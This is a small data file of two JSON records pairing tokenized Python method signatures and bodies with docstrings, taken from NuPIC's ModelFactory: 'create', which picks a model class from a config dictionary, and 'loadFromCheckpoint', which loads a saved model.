{"signature": "@staticmethod<EOL><INDENT>def create(modelConfig, logLevel=logging.ERROR):<DEDENT>", "body": "logger = ModelFactory.__getLogger()<EOL>logger.setLevel(logLevel)<EOL>logger.debug(\"<STR_LIT>\", modelConfig)<EOL>modelClass = None<EOL>if modelConfig['<STR_LIT>'] == \"<STR_LIT>\":<EOL><INDENT>modelClass = HTMPredictionModel<EOL><DEDENT>elif modelConfig['<STR_LIT>'] == \"<STR_LIT>\":<EOL><INDENT>modelClass = TwoGramModel<EOL><DEDENT>elif modelConfig['<STR_LIT>'] == \"<STR_LIT>\":<EOL><INDENT>modelClass = PreviousValueModel<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" %modelConfig['<STR_LIT>'])<EOL><DEDENT>return modelClass(**modelConfig['<STR_LIT>'])<EOL>", "docstring": "Create a new model instance, given a description dictionary.\n\n        :param modelConfig: (dict)\n               A dictionary describing the current model,\n               `described here <../../quick-start/example-model-params.html>`_.\n\n        :param logLevel: (int) The level of logging output that should be generated\n\n        :raises Exception: Unsupported model type\n\n        :returns: :class:`nupic.frameworks.opf.model.Model`", "id": "f17684:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def loadFromCheckpoint(savedModelDir, newSerialization=False):<DEDENT>", "body": "if newSerialization:<EOL><INDENT>return HTMPredictionModel.readFromCheckpoint(savedModelDir)<EOL><DEDENT>else:<EOL><INDENT>return Model.load(savedModelDir)<EOL><DEDENT>", "docstring": "Load saved model.\n\n        :param savedModelDir: (string)\n               Directory of where the experiment is to be or was saved\n        :returns: (:class:`nupic.frameworks.opf.model.Model`) The loaded model\n                  instance.", "id": "f17684:c0:m2"}